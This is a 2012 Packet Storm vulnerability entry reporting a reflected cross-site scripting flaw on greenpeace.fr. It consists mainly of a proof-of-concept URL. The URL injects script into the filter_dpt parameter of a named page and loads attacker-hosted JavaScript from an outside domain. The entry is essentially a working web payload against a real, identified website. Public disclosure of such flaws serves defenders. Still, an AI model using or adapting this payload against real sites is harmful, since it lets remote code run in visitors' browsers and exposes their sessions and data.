Greenpeace.fr Cross Site Scripting

2012-03-19T00:00:00
ID PACKETSTORM:110989
Type packetstorm
Reporter Atmon3r
Modified 2012-03-19T00:00:00

Description

                                        
                                            `+-------------------------------------------------------------------------+  
# Exploit Title : Greenpeace.fr - Website XSS (Cross Site Scripting)  
# Author : Atmon3r  
# Date : 18/03/2012  
# Editor : www.greenpeace.fr  
# Perso : http://front1.monsterup.com/upload/1332195303375.jpg  
# Xss type : $_GET  
+-------------------------------------------------------------------------+  
  
[+] POC:  
  
http://www.greenpeace.fr/incinerateurs/list.php?list_name=Pays-de-la-Loire&filter_dpt=/"><script>alert(1)</script><script   
src=http://yourjavascript.com/27544112151/xss.atmon3r.js></script>  
  
  
`